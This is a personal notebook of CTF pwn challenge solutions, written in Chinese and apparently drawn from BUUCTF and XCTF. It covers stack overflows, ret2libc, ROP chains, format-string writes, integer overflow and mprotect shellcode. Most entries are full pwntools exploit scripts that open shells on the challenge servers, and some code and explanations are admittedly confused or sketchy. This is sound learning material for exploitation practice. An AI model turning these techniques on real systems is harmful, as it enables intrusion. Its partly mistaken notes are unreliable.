pwn做题记录

随便做做看看pwn张什么样。随缘更新

解题套路:

  1. 检查保护情况
  2. 判断漏洞函数,如gets,scanf等
  3. 计算目标变量的在堆栈中距离ebp的偏移
  4. 分析是否已经载入了可以利用的函数,如system,execve等
  5. 分析是否有字符串/bin/sh

test_your_nc

直接nc连接,没什么好说的

rip

知识点

  • get函数栈溢出

gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。

0x401186是fun函数里有system,s到返回地址有0xF+8=23,但不知道下面的为什么可以

from pwn import *
p=remote('node4.buuoj.cn',29226)
p1=b'a'*23+p64(0x40118a)
p.sendline(p1)
p.interactive()

payload = b'a' * 23 + p64(0x401186 + 1)
payload = b'a' * 23 + p64(0x401186) + p64(0x401185) #多加的这部分任意找ret语句 都可以
payload = b'a' * 15 + p64(0x401186)
# 这题怎么回事??搞不明白

warmup_csaw_2016

知识点

  • 使用gdb插件gdb-peda计算偏移量

  • get栈溢出

gdb warmup_csaw_2016
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /mnt/c/Users/11145/Desktop/warmup_csaw_2016
-Warm Up-
WOW:0x40060d
>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffffffee650
RBX: 0x0
RCX: 0x7fffff78e980 --> 0xfbad2288
RDX: 0x0
RSI: 0x6022a1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
RDI: 0x7fffff791680 --> 0x0
RBP: 0x4141334141644141 ('AAdAA3AA')

得到RBP寄存器’AAdAA3AA’,输入命令pattern offset IAAeAA4AAJAAf,得到72,同时0x40+8=72

cat_flag.txt在system里地址为0x40060D

from pwn import *
p = remote('node4.buuoj.cn', 29533)
payload = b'x' * 72 + p64(0x40060d)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

知识点

  • 不一样的栈溢出
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");

题目意思是输入v1覆盖v2的地址得到v2=11.28125

var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
v1-v2-rbp/rsp-ret

0x41348000就是16进制的11.28125

from pwn import *
p=remote('node4.buuoj.cn',29191)
payload="A"*44+p64(0x41348000)
p.sendline(payload)
p.interactive()

补充

ucomiss S1,S2比较单精度,ucomisd S1,S2比较双精度

pwn1_sctf_2016

知识点

  • fgets函数栈溢出
  • pwntools中ELF函数

checksec查看,保护开了NX

虽然只能输入32个字符,64个字符才会溢出,但I会变成you,又找到后门函数0x8048F0D所以

from pwn import *
p=remote("node4.buuoj.cn",25906)
addr=0x08048f0d
payload=20*'I'+'A'*4 +p32(addr)
p.sendline(payload)
p.interactive()
from pwn import *
# sh = process('./pwn1_sctf_2016')
p=remote("node4.buuoj.cn",25906)
elf = ELF('./pwn1_sctf_2016')
get_flag = elf.symbols['get_flag']
# log.success('get_flag_addr => {}'.format(hex(get_flag)))
payload = 'I' * 21 + 'A' + p32(get_flag)
p.sendline(payload)
p.interactive()

jarvisoj_level0

知识点

  • read函数的栈溢出

发现函数callsystem里有system函数地址为0x400596,read函数中的buf的范围在[rsp+0h] [rbp-80h],再加上rbp的8字节 所以需要覆盖0x80+8=136。

from pwn import *
p = remote('node4.buuoj.cn', 29647)
p1 = b'a'*136 + p64(0x400596)
p.sendline(p1)
p.interactive()

ciscn_2019_c_1

知识点

  • get函数栈溢出

在encrypt中有get函数,参数到ret0x58。

后面异或操作,exp脚本

def dd(enc):
res = ''
for i in range(len(enc)):
if ord(enc[i]) <= 96 or ord(enc[i]) > 122:
if ord(enc[i]) <= 64 or ord(enc[i]) > 90:
if ord(enc[i]) > 47 or ord(enc[i]) <= 57:
res += chr(ord(enc[i]) ^ 0xf)
else:
res += chr(ord(enc[i]) ^ 0xe)
else:
res += chr(ord(enc[i]) ^ 0xd)
return res

[第五空间2019 决赛]PWN5

知识点

  • 格式化漏洞(Format String)

格式化字符串漏洞的产生根源主要源于对用户输入未进行过滤,这些输入数据都作为数据传递给某些执行格式化操作的函数,如printf,sprintf,vprintf,vprintf。恶意用户 可以使用”%s”,”%x”来得到堆栈的数据,甚至可以通过”%n”来对任意地址进行读写,导致任意代码读写。

atoi函数:将字符串转化为int整数

反编译结果

v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}

该题有两种解法

1、第一个read利用格式化字符串漏洞修改unk_804c044的值,第二个read输入我们修改的值去满足if判断执行system(‘/bin/sh’)

2、第一个read利用格式化字符串漏洞修改atoi_got为system_plt,第二次read输入”/bin/sh\x00”,执行system(‘/bin/sh’)

脚本

思路1:直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell。

思路2:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell。

思路3:bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值

exp1

from pwn import *
p = process('./pwn5')
addr = 0x0804C044
#地址,也就相当于可打印字符串,共16byte
payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10
#%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

exp3

from pwn import *
#context.log_level = "debug"
p = remote('node4.buuoj.cn',28318)
unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()
#exp1
from pwn import *
sh = remote('node4.buuoj.cn',28318)
target_addr = 0x0804c044
payload = p32(target_addr) + '%10$n' #target_addr = 4byte 4=0x00000004
sh.recvuntil("your name:")
sh.sendline(payload)
sh.recvuntil("your passwd:")
sh.sendline(str(0x00000004))#atoi函数将数字
sh.interactive()
#exp2
from pwn import *
p = remote('node4.buuoj.cn',28318)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
'''
fmtstr_payload()自动生成格式化字符串漏洞相应的payload
这里是将atoi_got_addr修改为system_plt_addr,从而执行system()
'''
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

babyrop

只要控制a1的大小就可以任意控制读入buf的长度,而a1就是sub_804871F中的v5,所以可以构造合适的Payload来控制v5,再通过sub_80487D0中的read来泄露system与/bin/sh的地址

先使发送的Payload的首字符为\x00来绕过字符串长度比较,再构造合适的长度来改变v5的值

Payload = b'\x00' + b'a'*6 +'\xff'

v5的值尽可能的大,方便后面操作

num+函数plt+main+函数参数

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',29889)
#r=process('./pwn')
elf=ELF('./pwn7')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

payload1='\x00'+'\xff'*0x7
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄露read的got地址
payload='a'*0xe7+'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

ciscn_2019_n_8

只要var[13]=11即可,var类型是DWORD型,所以每个占四个字节。

from pwn import *
p = remote("node4.buuoj.cn",28623)
p1 = "a"*13*4 + p64(0x11)
p.sendline(p1)
p.interactive()

jarvisoj_level2

直接有system函数,找到bin的地址加入即可

注意不能在vulnerable函数的返回地址后面直接跟参数,我们需要模拟call system函数的过程,在这个过程中call有一步是将下一条指令的地址压栈,所以我们需要构造一个假的返回地址,当然这个内容随意。写得脚本如下。

from pwn import *
p = remote("node4.buuoj.cn",29667)
e = ELF('./level2')
sys_addr = e.symbols['system']
sh_addr = e.search('/bin/sh').next()
p1 = "a"*0x8C + p32(sys_addr)+'1234'+p32(sh_addr)
p.sendline(p1)
p.interactive()

get_started_3dsctf_2016

get_flag函数,结果不能正确得到结果。原因是必须维护好栈,所以找一个函数来退出。于是利用了exit函数

from pwn import *
p = remote("node4.buuoj.cn",25371)
get_flag = 0x080489A0
a1 = 0x308cd64f
a2 = 0x195719d1
exit_addr = 0x0804E6A0
p1 = "a"*0x38 + p32(get_flag)+p32(exit_addr)+p32(a1)+p32(a2)
p.sendline(p1)
p.interactive()

可以利用mprotect函数修改内存为可写可读可执行,然后写入shellcode,直接执行,但是mprotect需要三个寄存器

int mprotect(void *addr, size_t len, int prot); addr 内存启始地址 len 修改内存的长度 prot 内存的权限 要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或 $ ./ get_started_3dsctf_2016 & $ cat /proc/[you_pid]/maps 查看内存区域 可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限

from pwn import *
pop_ret = 0x0804f460
bss=0x080eb000
r = remote('node3.buuoj.cn',29416)
elf = ELF('./get_started_3dsctf_2016')
payload = 'a'*0x38+p32(elf.sym['mprotect'])+p32(pop_ret)+p32(bss)+p32(0x30)+p32(7)+p32(elf.sym['read'])+p32(bss)+p32(0)+p32(bss)+p32(0x30)
r.sendline(payload)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()

bjdctf_2020_babystack

read(0, buf, (unsigned int)nbytes);
// 栈地址 0x10但为什么要加8 可能中间有出栈
-0000000000000010 buf db 12 dup(?)
-0000000000000004 nbytes dq ?
+0000000000000004 db ? ; undefined
+0000000000000005 db ? ; undefined
+0000000000000006 db ? ; undefined
+0000000000000007 db ? ; undefined
+0000000000000008 r db 8 dup(?)
from pwn import*

r=remote('node3.buuoj.cn',28532)
shell_addr=0x4006e6

r.sendline('100')
payload='a'*(0x10+8)+p64(shell_addr)
r.sendline(payload)
r.interactive()

ciscn_2019_en_2

和ciscn_2019_c_1题一样

JarvisOJ_Level2_x64

32位的函数在调用栈的时候是:

   调用函数地址->函数的返回地址->参数n->参数n-1....->参数1

64位的函数在调用栈的时候是:

   前六个参数按照约定存储在寄存器:rdi,rsi,rdx,rcx,r8,r9中。

   参数超过六个的时候,第七个会压入栈中,并且先输入函数的返回地址,然后是函数的参数,之后才是函数的调用地址

地址会继续往下走,那么在pop掉前面的‘a’之后便是pop下一个ropgadget出来的地址,然后就是栈顶的/bin/sh的地址被pop掉并放在rdi中。

from pwn import *
p = remote('node4.buuoj.cn',29134)
e = ELF('./level2_x64')
sys_addr = e.symbols['system']
sh_addr = e.search('/bin/sh').next()
pop_rdi = 0x4006b3 # 当从此地址解析 就成了 pop rdi;ret;
# 00000000004006B2 41 5F pop r15
p1 = 'a'*(0x88)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
p.sendline(p1)
p.interactive()

未解决:not_the_same_3dsctf_2016

from pwn import *
p = remote('node4.buuoj.cn',28326)
e = ELF('./not')
get_secret = 0x80489A0
flag_addr = 0x80eca2d
p1 = 'a'*45 + p32(get_secret)+p32(e.symbols['write'])+p32(flag_addr)+p32(1)+p32(flag_addr)+p32(42)# 42是flag长度
p.sendline(p1)
p.interactive()

第二种相对难一点,在此之前呢我们先了解一个函数

mprotect()这个函数:int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。
下面是exp

from pwn import *
elf = ELF('./not')
sh=remote('node4.buuoj.cn',28326)

pop3_ret = 0x0804f420#gadget:pop ebx; pop esi; pop ebp; ret;用来向mprotect()、read()传参
#ROPgadget --binary get_started --only 'pop|ret' | grep pop
#为了后续再能使用栈ret,我们得构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令,为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈完好.

mem_addr = 0x80eb000 #可读可写的内存,但不可执行 got.plt
mem_size = 0x1000 #通过调试出来的值
mem_proc = 0x7 #可代表可读可写可执行

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

'''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.
'''
payload = 'A' * 45 #填充数据覆盖到ebp
payload += p32(mprotect_addr) #栈返回到mprotect()函数执行
payload += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12

#mprotect 的三个参数 mprotect(0x080ea000,0x1000,0x7)
payload += p32(mem_addr) #mprotect函数参数1 修改的内存地址
payload += p32(mem_size) #mprotect函数参数2 修改的内存大小
payload += p32(mem_proc) #mprotect函数参数3 修改的权限

payload += p32(read_addr) #执行完pop3_ret后弹到read地址
payload += p32(pop3_ret) #执行完read后将返回到pop3_ret指令,又继续使esp+12

#read 的三个参数 read(0,0x080ea000,0x100)
payload += p32(0) #read函数参数1 ,从输入端读取,将我们生成的shellcode读入目标内存地址
payload += p32(mem_addr) #读取到的内容复制到指向的内存里
payload += p32(0x100) #读取大小

payload += p32(mem_addr) #执行完read后ret esi,这里是返回到我们布置的shellcode执行

sh.sendline(payload)
payload_shellcode = asm(shellcraft.sh(),arch = 'i386', os = 'linux')

sh.sendline(payload_shellcode)
sh.interactive()

[HarekazeCTF2019]baby_rop

pop rdi ret传入字符串并调用system

from pwn import *
p = remote('node5.buuoj.cn',25591)
e = ELF('./babyrop')
sys_addr = e.symbols['system']
sh_addr = e.search('/bin/sh').next()
pop_rdi = 0x400683
p1 = 'a'*(0x18)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
p.recvuntil('? ')
p.sendline(p1)
p.interactive()

可以通过 find -name flag 查找flag的位置

[HarekazeCTF2019]baby_rop2

通过printf泄露read的函数地址计算libc的基址,ROP链构造system(‘/bin/sh’)

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}
from pwn import *

r=remote('node3.buuoj.cn',26686)
elf=ELF('./babyrop2')
libc=ELF('./libc.so.6')

rdi_ret=0x400733
rsi_r15_ret=0x400731
format_str=0x400770 #%s
read_got=elf.got['read']
printf_plt=elf.plt['printf']
main_addr=0x400636

payload='a'*0x20+'b'*0x8
payload+=p64(rdi_ret)+p64(format_str)
payload+=p64(rsi_r15_ret)+p64(read_got)+p64(0x0)
payload+=p64(printf_plt)+p64(main_addr)

r.recvuntil("What's your name?")
r.sendline(payload)

read_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=read_addr-libc.symbols['read']
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()

payload2='a'*0x20+'b'*0x8+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr)
r.recvuntil("What's your name?")
r.sendline(payload2)

r.interactive()

番外:攻防世界

int_overflow

知识点

  • 整数溢出

看字符串,发现system和cat flag,存在高危函数strcpy和read

可以直接覆盖一个返回地址,覆盖成system函数的地址

看到check passwd函数,规定密码长度为3到8,s是密码的字符串,dest长度是0x14,s长度远大于dest,这就会导致栈溢出。

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(dest, s);
}
return result;
  1. 在覆盖到返回地址的途中,有一次leave操作,在32位汇编中,leave等价于mov esp,ebp并pop ebp的操作,也就是说,在覆盖到返回地址之前,还有一次出栈,所以需要多覆盖一个ebp的长度,由于是32位,所以是4字节,所以覆盖ebp0x4,十进制是4
    总和就是’a’*24
  2. p32(sys_addr):覆盖返回地址为what_is_this函数的地址,即check_passwd之后直接返回what_is_this函数。
  3. payload.ljust(260,’a’):由于程序执行到what_is_this函数后我们可以直接得到flag,所以之后怎么运行就不用管了,直接填充一堆’a’来让payload的长度能通过密码长度检测即可。但是显然payload前两部分的长度就超过了密码检测的最大长度8,这个时候就用到了整数溢出

v3即为密码的长度,可以看到它是一个长8位的只有正数的整数即00000000~11111111,就是0到255,当给v8赋值超过255时,比如256,即1 0000 0000,由于v8本身只有8位,所以超过8位的,就会发生高位截断,只会保留低位,所以这个1会被舍弃,v8的值就是0000 0000,而给v8赋值257,它的值就是1,赋值258,它的值就是2。所以只要让payload的长度在(259,264]内,就能让v8的值在(3,8]内,才能通过密码长度检测。

# exp1
from pwn import *

elf=ELF('./intoverflow')
sys_addr = elf.symbols['what_is_this']
payload = 'a'*24 + p32(sys_addr)
payload = payload.ljust(260,'a') #ljust可以用a来填充payload到指定长度260
#这一句也能写成这样:payload += 'a'*(260-len(payload))

p = remote('111.198.29.45',37911)
p.sendlineafter('Your choice:','1')
p.sendlineafter('your username:','aaa')
p.sendlineafter('your passwd:',payload)
p.interactive()

# exp2
from pwn import *

sh=remote('111.198.29.45',44241)

sh.sendlineafter("choice:","1")
sh.sendlineafter("username:\n","xctf")

cat_flag_addr = 0x08048694
payload = "A" * 0x18 + p32(cat_flag_addr) + "A" * 234# 按264计算

sh.sendlineafter("passwd:\n",payload)
print sh.recvall()

关于整数溢出

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数 最高位为1,负数为0,无符号数取值范围为非负数

也就是说,对于一个2字节的unsigned short int 型变量,它的有效数据长度为2个字节,当它的数据长度超过2个字节时,就发生溢出,溢出的部分则直接忽略。使用相关变量时,使用的数据仅为最后2个字节,因此就会出现65537等于1的情况

cgpwn2

from pwn import *
elf=ELF('./cgpwn')
sys_addr = elf.symbols['system']
binsh_addr = 0x0804A080
p1 = 'a'*42 + p32(sys_addr) + p32(0xaaaa) +p32(binsh_addr)
p = remote('111.200.241.244',49922)
p.sendlineafter('name','/bin/sh')
p.sendlineafter('here',p1)
p.interactive()
  1. ‘a’*42:看栈可知s距离ebp有0x26,十进制即为38,再加上需要覆盖的ebp长度,由于是32位程序,所以ebp长度0x4,所以总共需要填充’a’*(38+4)
  2. p32(sys_addr):system函数的地址
  3. p32(0xaaaa):用于填充system函数的返回地址,由于system(“/bin/sh”)后直接拿到shell,所以随便填个返回地址就行
  4. p32(binsh_addr):name的地址,因为name的值就是’/bin/sh’,所以用它作为system的参数

level3

知识点

  • ret2lib

开了NX不可执行,无system,无binsh,明显为ret2libc

ret2lib是一种利用缓存区溢出的代码复用漏洞,主要通过覆盖栈帧的返回地址(EIP),使其返回到系统中的库函数。

lib内的地址是随机的,但是函数的相对地址是不变的,我们可以通过获取lib中和程序中的write函数地址来得知函数地址的偏移量,并利用lib中的system和binsh和偏移量求出真实的system和binsh函数地址,进而完成system(/bin/sh)
具体步骤:
(1)利用function()函数中的read函数构造溢出,复写返回地址为plt中的write函数地址
(2)通过write函数泄露函数read在内存中的绝对地址,并且接着调用function()函数
(3)计算system和binsh的绝对地址,构造system(“/bin/sh”)

from pwn import *
#获取远程进程对象
p=remote('111.198.29.45',41496)
#获取本地进程对象
#p = process("./level3/level3")

#获取文件对象
elf=ELF('./level3/level3')
#获取lib库对象
libc = ELF('./level3/libc_32.so.6')
#获取函数
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
#接收数据
p.recvuntil(":\n")
#char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址) write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
#获取write在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)
#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
#计算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)
#计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)
#char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接收数据
p.recvuntil(":\n")
#发送payload
p.sendline(payload2)
#切换交互模式
p.interactive()
from pwn import *
elf=ELF('./level3')
lib = ELF('./libc_32.so.6')
p=remote('111.200.241.244',52400)
payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8)

p.recvuntil('Input:\n')
p.sendline(payload)
read_addr = u32(p.recv()[:4])
# /bin/sh - read
bin_cha = int(0x0015902b-lib.symbols['read'])
bin_addr = read_addr + bin_cha

sys_cha = int(lib.symbols['system']-lib.symbols['read'])
sys_addr = read_addr + sys_cha

p.recvuntil('Input:\n')
payload1 = (0x88+4)*'a'+p32(sys_addr)+p32(1)+p32(bin_addr)
p.sendline(payload1)
p.interactive()

CGfsb

知识点

  • 格式化字符串漏洞 printf(&s)

开了canary和nx,即没法直接覆盖返回地址和使用shellcode

如果写成printf(a),就会出现格式化字符串漏洞,如果a是”%x”,那么printf就会输出它后面内存中的数据。

61即 ‘a’ 的ASCII码,61616161即为 ‘aaaa’,可以看到输入的 ‘aaaa’偏移了10位,如果你不确定自己数的对不对,可以验证一下,用 ‘%10$x’,这个可以直接查看第十位的数据

这里说下可以直接读取第七个参数的方法。(在linux下有用,win下没用)
%< number>$x 是直接读取第number个位置的参数,同样可以用在%n,%d等等。
但是需要注意64位程序,前6个参数是存在寄存器中的,从第7个参数开始才会出现在栈中,所以栈中从格式化串开始的第一个,应该是%7 $n.

格式化字符串中,有一个%n比较特殊,**%n可以将它前面已打印的字符个数赋值给后面它对应的参数**,例子

来自于stack overflow
#include <stdio.h>
int main(){
int val;
printf(“blah %n blah\n”, &val);
printf(“val = %d\n”, val);
return 0;
}
output:
blah blah
val = 5

%n前的字符个数为5,所以将5赋值给了val。但是好像Windows上不让用%n赋值….所以别再Windows下试了

思路:

  1. 第一次运行程序,name随便输,在输入message时利用%x计算输入位置偏移
  2. 第二次运行程序,name随便输,在输入message时,先输入pwnme的地址
  3. 利用 %偏移$n 改变pwnme的值为8
  4. 拿到flag
from pwn import *

payload = p32(0x0804A068) + 'aaaa%10$n'

p = remote('111.198.29.45',56666)
p.sendlineafter('tell me your name:','abcd')
p.sendlineafter('your message please:',payload)
p.interactive()

payload解释:

  1. p32(0x0804A068):pwnme的地址,双击pwnme即可查看
  2. ‘aaaa%10$n’:p32打包后的数据是4位的,但是要赋值8给pwnme,所以再填充4个a,然后把8赋值给第十个参数,即pwnme的地址对应的值

做题技巧?

x64

main_addr = 0x400B28 # main开始地址
pop_rdi = 0x400C83
# got表泄露
puts_got = elf.got['puts'] # 程序中有的函数
puts_plt = elf.plt['puts']

'1'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

puts_addr = u64(c.recvuntil('\n', drop=True).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

'1'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

x86

puts_plt = ret2libc3.plt['puts'] # 为什么还是puts
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])

libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
payload = 'a'*22+p32(write_plt) + main + 1 + read_got + 4 #  泄露 read函数
read_addr = u32(p.recv(4))

payload2 = 'a'*22 +p32(system) + p32(main) + binsh_addr

x64ROP

from pwn import *
p = remote('node5.buuoj.cn',25591)
e = ELF('./babyrop')
sys_addr = e.symbols['system']
sh_addr = e.search('/bin/sh').next()
pop_rdi = 0x400683
p1 = 'a'*(0x18)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
p.sendline(p1)
p.interactive()

get一个函数用来获取真实地址

bjdctf_2020_babyrop

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}
from pwn import *
from LibcSearcher import *

context.log_level='debug'
r=remote('node3.buuoj.cn',28426)
#r=process('./bjdctf_2020_babyrop')
elf=ELF('./bjdctf_2020_babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']
pop_rdi=0x400733 #找 pop r15 截取中间 会被认为是pop rdi
# ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

payload='a'*0x20+'b'*0x8
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()

puts_addr=u64(r.recv(6).ljust(8,'\x00')) # 得到真实地址 (p.recv()[:4])

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

payload='a'*0x20+'b'*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)

r.interactive()

x86 ROP

babyrop 9

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',29889)
#r=process('./pwn')
elf=ELF('./pwn7')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

payload1='\x00'+'\xff'*0x7
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄露read的got地址
payload='a'*0xe7+'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()